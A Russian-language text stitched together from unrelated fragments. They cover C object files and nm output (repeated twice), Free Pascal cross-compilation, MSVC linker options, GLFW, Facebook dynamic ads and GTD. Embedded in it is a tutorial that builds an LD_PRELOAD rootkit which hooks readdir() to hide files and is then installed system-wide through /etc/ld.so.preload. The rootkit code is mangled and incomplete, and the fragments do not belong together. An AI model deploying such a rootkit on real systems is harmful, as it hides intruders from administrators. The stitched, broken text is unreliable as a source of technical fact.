Что делает компилятор C
Работа компилятора C заключается в конвертировании текста программы на C, понятного человеку, в нечто, что понимает компьютер. На выходе компилятор выдаёт объектный файл.
Содержание объектного файла — в сущности, две вещи:
- код, соответствующий определению функции в C-файле,
- данные, соответствующие определению глобальных переменных в C-файле (для инициализированных глобальных переменных начальное значение переменной тоже должно быть сохранено в объектном файле).
Код и данные будут иметь ассоциированные с ними имена — имена функций или переменных, с которыми они связаны определением.
Объектный код — это последовательность машинных инструкций для процессора, которая соответствует C-коду: if‘ы и while‘ы и пр. Эти инструкции должны манипулировать информацией определённого рода, а информация должна где-нибудь находится — для этого нам и нужны переменные. Код может также ссылаться на другой код (в частности, на другие C-функции в программе).
Где бы код ни ссылался на переменную или функцию, компилятор допускает это, только если он видел раньше объявление этой переменной или функции. Объявление — это обещание, что определение существует где-то в другом месте программы.
Работа компоновщика проверить эти обещания. Однако, что компилятор делает со всеми этими обещаниями, когда он генерирует объектный файл?
По существу компилятор оставляет пустые места. Пустое место (ссылка) имеет имя, но значение, соответствующее этому имени, пока неизвестно.
Учитывая это, мы можем изобразить объектный файл, соответствующей программе, приведённой выше, следующим образом:
Анализ объектного файла
Полезно посмотреть, как это работает на практике.
$ gcc -c example1.c $ ls example1.c example1.o
Объектный файл, хоть и не может быть запущен напрямую, имеет формат, схожий с форматом исполняемого файла.
На UNIX объектные файлы имеют расширение o. Формат — ELF.
На Windows используется расширение obj. Формат — COFF.
На платформе UNIX основным инструментом для нас будет команда nm, которая выдаёт информацию о символах объектного файла. Для Windows команда dumpbin с опцией /symbols является приблизительным эквивалентом. Также есть портированные под Windows инструменты GNU binutils, которые включают nm.exe.
Давайте посмотрим, что выдаёт nm для объектного файла, полученного из нашего примера выше.
$ nm -S example1.o U fn_a 0000000000000000 000000000000000f t fn_b 000000000000000f 0000000000000059 T fn_c 0000000000000000 0000000000000004 D x_global_init 0000000000000004 0000000000000004 C x_global_uninit 0000000000000004 0000000000000004 d y_global_init 0000000000000000 0000000000000004 b y_global_uninit U z_global
Результат может выглядеть немного по разному на разных платформах.
$ nm -f sysv example1.o Symbols from example1.o: Name Value Class Type Size Line Section fn_a | | U | NOTYPE| | |*UND* fn_b |0000000000000000| t | FUNC|000000000000000f| |.text fn_c |000000000000000f| T | FUNC|0000000000000059| |.text x_global_init |0000000000000000| D | OBJECT|0000000000000004| |.data x_global_uninit |0000000000000004| C | OBJECT|0000000000000004| |*COM* y_global_init |0000000000000004| d | OBJECT|0000000000000004| |.data y_global_uninit |0000000000000000| b | OBJECT|0000000000000004| |.bss z_global | | U | NOTYPE| | |*UND*
Ключевыми сведениями являются класс каждого символа и его размер (если присутствует).
- Класс U (от undefined) обозначает неопределённые ссылки, те самые «пустые места», упомянутые выше. Для этого класса существует два объекта: fn_a и z_global.
- Классы t и T (от слова text) указывают на код, который определён; различие между t и T заключается в том, является ли функция статической (t) (локальной в файле) или нет (T), т.е. была ли функция объявлена как static.
- Классы d и D (от слова data) содержат инициализированные глобальные переменные. При этом статические переменные принадлежат классу d.
- Для неинициализированных глобальных переменных мы получаем b, если они статичные, и B или C иначе.
Из Darwin i386 на x86_64
Официальный установщик FPC для macOS/i386 включает компилятор x86_64 и все модули, необходимые для компиляции программ x86_64 (используйте ppcx64 вместо ppc386 для компиляции ваших программ или использования fpc -Px86_64). Приведенные ниже инструкции необходимы только в том случае, если вы хотите скомпилировать и установить новую версию из svn.
Компилируем FPC:
$ cd fpc $ make all CPU_TARGET=x86_64
Этот создает кросс-компилятор x86_64 (fpc/compiler/ppcrossx64) и все модули. Вы можете установить их, используя следующие команды:
$ sudo make crossinstall CPU_TARGET=x86_64 $ sudo mv /usr/local/lib/fpc/2.7.1/ppcrossx64 /usr/local/lib/fpc/2.7.1/ppcx64
Если вы хотите сделать этот недавно установленный компилятор версией по умолчанию (это не рекомендуется, т.к. это нарушит вашу способность создавать новые версии FPC 2.7.1 без явного указания пути к последнему официальному FPC), также выполните следующую команду:
$ sudo ln -sf /usr/local/lib/fpc/2.7.1/ppcx64 /usr/local/bin/ppcx64
Предполагая, что все компоненты LCL, используемые вашим проектом, поддерживаются с помощью , вы можете скомпилировать проект Lazarus из командной строки, используя такую команду (возможно необходим полный путь к компилятору):
$ lazbuild -B project1.lpr --ws=cocoa --cpu=x86_64 --os=darwin --compiler=/usr/local/bin/ppcx64
Вы можете проверить, что ваш исполняемый файл является 64-битным, использует команду «file»:
$ file ./project1 $ ./project1: Mach-O 64-bit executable x86_64
Кроме того, вы можете настроить свой проект на компиляцию как 64-бит с помощью графического интерфейса Lazarus:
a.) Выберите пункт меню Project/ProjectOptions b.) В CompilerOptions/ConfigAndTarget установите "Target CPU family" в "x86_64" c.) В CompilerOptions/AdditionsAndOverrides сохраните "LCLWidgetType := cocoa" в LPI
Обратите внимание, что 64-разрядный компьютер macOS может работать с 32-разрядными исполняемыми файлами. Однако, если вы хотите создать бинарник, который выполняется на 32-разрядном Intel также хорошо, как и в 64-битном режиме на 64-битном компьютере Intel, вы можете использовать команду «lipo»
Это позволило бы 64-разрядному компьютеру получить доступ к большему количеству памяти и теоретически возможно немного улучшиться (например, различные оптимизации компилятора, больше регистров, но с большими указателями). Предполагается, что вы создали отдельные 32-разрядные («project32») и 64-разрядные («project64») исполняемые файлы на Lazarus.
$ lipo -create project32 project64 -o projectUniversal
Скрываем файл из листинга ls
Большинство динамически скомпилированных программ используют системные вызовы стандартной библиотеки libc. С помощью утилиты ldd посмотрим, какие библиотеки использует программа ls:
1 |
$ldd/bin/ls … libc.so.6=>/lib/x86_64-linux-gnu/libc.so.6(0x00007f1ade498000) … |
Получается, ls динамически скомпилирована с использованием функций библиотеки
libc.<wbr/>so. Теперь посмотрим, какие системные вызовы для чтения директории использует утилита ls. Для этого в пустой директории выполним
ltrace<wbr/>ls:
1 |
$ltrace ls memcpy(0x55de4a72e9b0,».\0″,2)=0x55de4a72e9b0 __errno_location()=0x7f3a35b07218 opendir(«.»)=0x55de4a72e9d0 readdir(0x55de4a72e9d0)=0x55de4a72ea00 readdir(0x55de4a72e9d0)=0x55de4a72ea18 readdir(0x55de4a72e9d0)= closedir(0x55de4a72e9d0)= |
Очевидно, что при выполнении команды без аргументов ls использует системные вызовы
opendir(<wbr/>),
readdir(<wbr/>) и
closedir(<wbr/>), которые входят в библиотеку libc. Давайте теперь задействуем
LD_PRELOAD и переопределим эти стандартные вызовы своими. Напишем простую библиотеку, в которой изменим функцию
readdir(<wbr/>), чтобы она скрывала наш файл с кодом.
Здесь мы уже переходим к написанию простого руткита без нагрузки. Все, что он будет делать, — это прятать сам себя от глаз администратора системы.
Я создал директорию
rootkit и дальше буду работать в ней. Создадим файл
rkit.<wbr/>c.
1 |
#define _GNU_SOURCE structdirent*(*orig_readdir)(DIR *)=NULL; structdirent *readdir(DIR *dirp) { if(orig_readdir==NULL) orig_readdir=(structdirent*(*)(DIR *))dlsym(RTLD_NEXT,»readdir»); structdirent *ep=orig_readdir(dirp); while(ep!=NULL&& ( !strncmp(ep->d_name, RKIT, strlen(RKIT)) || } returnep; } |
Компилируем и проверяем работу:
1 |
$gcc-Wall-fPIC-shared-orootkit.so rkit.c-ldl $ls-lah итого28K drwxr-xr-x2n0a n0a4,0Kноя232346. drwxr-xr-x4n0a n0a4,0Kноя232333.. -rw-r—r—1n0a n0a496ноя232344rkit.c -rwxr-xr-x1n0a n0a16Kноя232346rootkit.so $LD_PRELOAD=./rootkit.so ls-lah итого12K drwxr-xr-x2n0a n0a4,0Kноя232346. drwxr-xr-x4n0a n0a4,0Kноя232333.. -rw-r—r—1n0a n0a496ноя232344rkit.c |
Нам удалось скрыть файл
rootkit.<wbr/>so от посторонних глаз. Пока мы тестировали библиотеку исключительно в пределах одной команды.
Используем /etc/ld.so.preload
Давайте воспользуемся записью в
/<wbr/>etc/<wbr/>ld.<wbr/>so.<wbr/>preload для сокрытия нашего файла от всех пользователей системы. Для этого запишем в
ld.<wbr/>so.<wbr/>preload путь до нашей библиотеки:
1 |
# ls rkit.crootkit.so rkit.c |
Теперь мы скрыли файл ото всех пользователей (хотя это не совсем так, но об этом позже). Но опытный администратор довольно легко нас обнаружит, так как само по себе наличие файла
/<wbr/>etc/<wbr/>ld.<wbr/>so.<wbr/>preload может говорить о присутствии руткита — особенно если раньше такого файла не было.
Анализ объектного файла
Пока мы работали с абстрактной программой; теперь важно посмотреть ,как она выглядит на практике. На платформе UNIX можно воспользоваться утилитой nm
На Windows примерным аналогом служит dumpbin с флагом /symbols, хотя есть и порт GNU binutils, который включает nm.exe.
Посмотрим, что нам выдаст для написанной выше программы nm:
00000000 b .bss 00000000 d .data 00000000 N .debug_abbrev 00000000 N .debug_aranges 00000000 N .debug_info 00000000 N .debug_line 00000000 N .debug_loc 00000000 i .drectve 00000000 r .eh_frame 00000000 r .rdata$zzz 00000000 t .text U _fn_a 00000000 T _fn_c 00000000 D _x_global_init 00000004 C _x_global_uninit U _z_global
Для ранее скомпилированного файла file.o
nm file.o
От системы к системе вывод может отличаться, но ключевая информация – это класс каждого символа и его размер (если доступен). Класс может иметь следующие значения
- Класс U означает неизвестный (unknown), или заглушку, как было сказано выше. Всего два таких объекта: fn_a и z_global (некоторые версии nm могут также вывести section, которая в данном случае будет *UND* или UNDEF)
- Класс t или T обозначает, что код определён – t локально или T – это статическая функция. Также может быть выведена секция .text
- Класс d и D обозначают инициализированную глобальную переменную, d – локальную, D – не локальную. Сегмент для данных переменных обычно .data
- Для неинициализированных глобальных переменных используется класс b, если статическая/локальная или B и C, если нет. Обычно это сегмент .bss или *COM*
Есть и другие гнусные классы, представляющие какие-то внутренние механизмы компилятора.
Страница свойств «Дополнительно»
Нет точки входа
Параметр /NOENTRYнеобходим для создания библиотеки DLL только для ресурсов. Используйте этот параметр, чтобы предотвратить связывание ссылки со ссылкой на библиотеку DLL.
Предотвращение выполнения данных (DEP)
помечает исполняемый файл как проверенный на совместимость с Windows функцией предотвращения выполнения данных. (/NXCOMPAT)
Отключить создание сборки
параметр /NOASSEMBLY указывает компоновщику создать образ для текущего выходного файла без сборки платформа .NET Framework.
Библиотека DLL выгрузки отложенной загрузки
Квалификатор unload сообщает вспомогательной функции отложенной загрузки о необходимости поддержки явной выгрузки библиотеки DLL. (/delay: Unload)
Библиотека DLL с отложенной загрузкой
Квалификатор без привязки указывает, что компоновщик не должен включать связываемые IAT в окончательный образ. По умолчанию задано создание связываемой таблицы IAT для библиотек DLL, загружаемых с задержкой. (/delay: Unbind)
Объединить разделы
Параметр /Merge объединяет первый раздел (из) со вторым разделом (to), присваивая результирующему разделу имя. Например,/MERGE:. rdata =. Text.
Целевой компьютер
Параметр /Machine указывает целевую платформу для программы.
Choices
- Не задано
- мачинеарм
- MachineARM64
- мачинибк
- MachineIA64
- мачинемипс
- MachineMIPS16
- мачинемипсфпу
- MachineMIPSFPU16
- MachineSH4
- мачинесумб
- MachineX64
- MachineX86
Профиль
Создает выходной файл, который может быть использован для профилировщика производительности инструментов. Требуется задать Женератедебугинформатион (//Debug). (/Profile)
Атрибут потока среды CLR
Явно укажите атрибут потоковой обработки для точки входа программы CLR.
Choices
- Атрибут потоков агента передачи сообщений — применяет атрибут MTAThreadAttribute к точке входа программы.
- Потоковый атрибут STA — применяет атрибут STAThreadAttribute к точке входа программы.
- Атрибут потока по умолчанию — то же, что не указывает /CLRTHREADATTRIBUTE. Позволяет среде CLR задавать потоковый атрибут по умолчанию.
Тип образа среды CLR
Задает тип (IJW, pure или safe) CLR-образа.
Choices
- Принудительно использовать образ IJW
- Принудительно использовать чистое изображение IL
- принудительно использовать образ IL Сейф
- Тип изображения по умолчанию
Отложенная подпись
Частично подписать сборку. Используйте параметр /delaysign , если хотите поместить только открытый ключ в сборку. Значение по умолчанию —/DELAYSIGN: NO.
Проверка неуправляемого кода CLR
/CLRUNMANAGEDCODECHECK указывает, будет ли компоновщик применять атрибут SuppressUnmanagedCodeSecurityAttribute к созданным компоновщиком вызовам PInvoke из управляемого кода в собственные библиотеки DLL.
Отчет об ошибках
Разрешает передавать данные о внутренних ошибках компилятора (ICE) непосредственно в группу Visual C++.
Choices
- Запросить незамедлительно — запрос немедленно.
- Ставить в очередь следующий вход в очередь для следующего входа в систему.
- Отправка отчета об ошибках — Отправка отчета об ошибках.
- Без отчета об ошибках — нет отчета об ошибках.
SectionAlignment
Параметр /align задает выравнивание каждого раздела в линейном адресном пространстве программы. Аргумент Number находится в байтах и должен быть степенью числа 2.
Сохранить последний код ошибки для вызовов PInvoke
Параметр/CLRSUPPORTLASTERROR, который включен по умолчанию, сохраняет последний код ошибки функций, вызываемых через механизм P/Invoke, который позволяет вызывать собственные функции в библиотеках DLL, из кода, скомпилированного с помощью/CLR.
Choices
- Enabled — включить CLRSupportLastError.
- Disabled — отключить CLRSupportLastError.
- Только системные библиотеки DLL . Включайте CLRSupportLastError только для системных библиотек DLL.
образ содержит Сейф обработчики исключений
Если указан параметр /SAFESEH , то компоновщик создает изображение только в том случае, если оно также может создать таблицу безнадежных обработчиков исключений образа. В этой таблице указывается операционная система, для которой обработчики исключений являются допустимыми для образа.
Библиотека GLFW
GLFW (англ. «Graphics Library FrameWork») — это библиотека, написанная на языке Си, специально предназначенная для работы с OpenGL. Библиотека GLFW предоставит нам все необходимые инструменты, которые потребуются для рендеринга на экран различных объектов. Благодаря этому мы сможем создавать контексты OpenGL, определять параметры окна и обрабатывать пользовательский ввод, что вполне коррелирует с нашими целями.
Основное внимание на этом и следующем уроках уделяется изучению библиотеки GLFW, созданию корректного контекста OpenGL, а также простого окна, в котором мы и будем рисовать наши объекты. На этом уроке мы пошагово рассмотрим установку библиотеки GLFW, а также процесс сборки и компиляции программы в связке с GLFW
Примечание: На момент написания данной статьи в качестве среды разработки мы будем использовать Microsoft Visual Studio 2019 (обратите внимание, что наши действия будут аналогичными и с более старыми версиями Visual Studio). Если же вы используете более старую версию Visual Studio (или вообще другую среду разработки), то можете быть спокойны, т.к
процесс установки и настройки GLFW аналогичен в большинстве IDE.
Суть динамических креативов
Это сравнительно новая функция Facebook, которая использует алгоритмы создания полноценной рекламы из отдельных творческих компонентов. Рекламодатели предоставляют текст, заголовки, описания, CTA и изображения или видео для объединения их в высокоэффективную рекламу. Эта функция устраняет большую часть ручной работы по творческой оптимизации и может принести важные инсайты быстрее, чем когда-либо прежде.
Для разнообразия комбинаций максимально можно добавить 30 объектов:
- 5 заголовков;
- 5 вариантов подписи;
- 5 описаний;
- 5 calls-to-action;
- 10 медиафайлов (фото или видео).
Миксуя эти элементы, инструмент создаст тысячи рекламных объявлений, которые будут показаны в разных сочетаниях (зависимо от места размещения и ЦА).
ВАЖНО! Но всегда нужно помнить, что вы не сможете обеспечить бюджетом тысячу объявлений, поэтому не стоит добавлять для ротации все 30 объектов. Поскольку динамические креативы работают только с кампаниями «Трафик», «Конверсии» и «Установка приложений», можно использовать их для кампаний ремаркетинга 1-го или 2-го уровня в середине и нижней части воронки продаж (люди, осведомленные о вашем товаре и с намерением его купить) и для холодных продаж
Поскольку динамические креативы работают только с кампаниями «Трафик», «Конверсии» и «Установка приложений», можно использовать их для кампаний ремаркетинга 1-го или 2-го уровня в середине и нижней части воронки продаж (люди, осведомленные о вашем товаре и с намерением его купить) и для холодных продаж.
Используя функцию динамических креативов, вы можете протестировать несколько изображений продуктов, наряду с несколькими вариантами заголовков. «Купить» будет наиболее подходящим призывом к действию, поэтому вам не нужно будет тестировать несколько calls-to-action.
Еще один вариант использования динамических креативов — для нижней части вашей воронки продаж. Это ремаркетинг для людей, которые посетили ваш сайт. Независимо от того, продаете ли вы продукты или услуги, вы можете использовать этот инструмент для тестирования множества рекламных комбинаций, а также различных изображений продуктов/услуг. Использование вариативности рекламных объявлений для ремаркетинга на этом этапе воронки продаж укрепляет доверие аудитрии и с большей вероятностью привлечет ваших идеальных клиентов, стимулируя их повторно посетить веб-сайт.
GTD: что это такое
GTD (Getting Things Done) — методология для организации и контроля задач. Ее придумал Дэвид Аллен, бизнес-тренер и консультант по управлению. Она нужна, чтобы не только планировать, но и доводить намеченные дела до конца.
GTD часто относят к тайм-менеджменту: если ее правильно применять, система помогает успевать больше и бороться с многозадачностью.
Что почитать о тайм-менеджменте:
- Как выиграть время: пять уровней тайм-менеджмента в digital.
- Как управлять временем по методу Pomodoro: объясняем на томатах.
Принципы GTD, без соблюдения которых ничего не работает
Ничего не держать в голове
Главный принцип, на котором строится вся методология. Все нужно фиксировать. Даже мелкие задачи и то, что кажется неважным.
Проще значит лучше
Фиксировать и систематизировать информацию нужно удобным вам способом. Если вы любите блокноты, то ведение дел в приложениях и таск-менеджерах не упростит вам жизнь, а скорее наоборот.
Думать о решении
Часто бывает, что дела стоят на месте, потому что мы воспринимаем их как очередную проблему, а не ищем решение.
Одна задача в один момент времени
По системе GTD многозадачность — препятствие. Нужно думать только о той задаче, которую выполняете сейчас. То есть не думать про доклад для конференции, пока проверяете макет.
Составить список действий
Набросанные в таск-менеджере или календаре задачи не решат все проблемы. Нужно воспринимать каждую из них как список конкретных действий, тогда с ними будет проще работать.
Настройка динамических креативов
Начнем с уже знакомого всем Ads Manager. Кейс будет рассмотрен с примером цели рекламы «Генерация лидов» (этот инструмент работает и в сочетании с другими целями, например, «Трафик», «Конверсия», но не со всеми).
Начинаем настройку, кликаем «Продолжить» и уже на следующем шаге видим опцию «Динамические креативы». Обратите внимание, что автоматически они отключены, вы можете их включить
В следующем окне появляются уже привычные вам настройки: выбор бизнес-страницы, от имени которого будет транслироваться реклама, блок загрузки медиафайлов, формат рекламы. С самой сутью динамических креативов вы столкнетесь, дойдя до тизерной части объявления.
Настройка описания тизера
Обратите внимание на блок «Текст». Здесь есть возможность ввести 5 разных текстов (каждый на 1024 символа)
Вводим тестовый текст и смотрим, где он отобразится (посмотрите на скрин).
Наш текст (мы ввели «Тест 1»), который является описанием тизера, появился между названием страницы и самим тизером. Если нужно расширить вариативность, добавляете еще другие тексты — до 5 штук.
ВАЖНО! Тексты должны быть взаимосогласованными. Учитывайте, что текст может рандомно попасть в микс с другими заголовками и они должны логично сочетаться и не отрицать друг друга
Поэтому тексты должны затрагивать разные аспекты, которые, в сочетании с рядом заголовков, однозначно выигрышно продадут ваш продукт.
Настройка заголовка тизера
Перейдя к настройкам заголовка, вы также можете экспериментировать и вносить до 5 разных заголовков, которые вам подходят. Заголовок сразу появляется в нижней части тизера.
ВАЖНО! При внесении заголовка нужно помнить — он, на самом деле, таким не является. Он показывается под самим тизером и, по факту, заголовок это то, что написано на самом тизере (картинке или видео)
Если на вашей картинке нет текста, то, в первую очередь, внимание будет фокусироваться на верхней части тизера (то есть, на вашем описании тизера)
Call-to-action и вариативность медиафайлов
Кроме перечисленных параметров стоит обратить внимание и на призыв к действию, который будет отображаться внизу тизера в виде кнопки. По умолчанию у нас стоит «Регистрация», но вы можете выбрать подходящий вам call-to-action
Как только мы закончили экспериментировать с возможностями тестов, которые дают динамические креативы, можно перейти в раздел «Медиаобъекты». Если в стандартной группе объявлений мы можем использовать до 6 объектов включительно, то здесь — целых 10. Добавленные вами файлы Facebook замиксует с настройками, которые вы внесли ранее.
В результате, вы получаете гораздо большую вариативность, чем в привычных группах объявлений. Алгоритм рандомно соединяет заголовок, описание, сниппет и картинка
Важно не переборщить с количеством вариантов — ведь, если вы введете по 5 вариантов каждой настройки, вам понадобится гораздо больше денег, чтобы их протестировать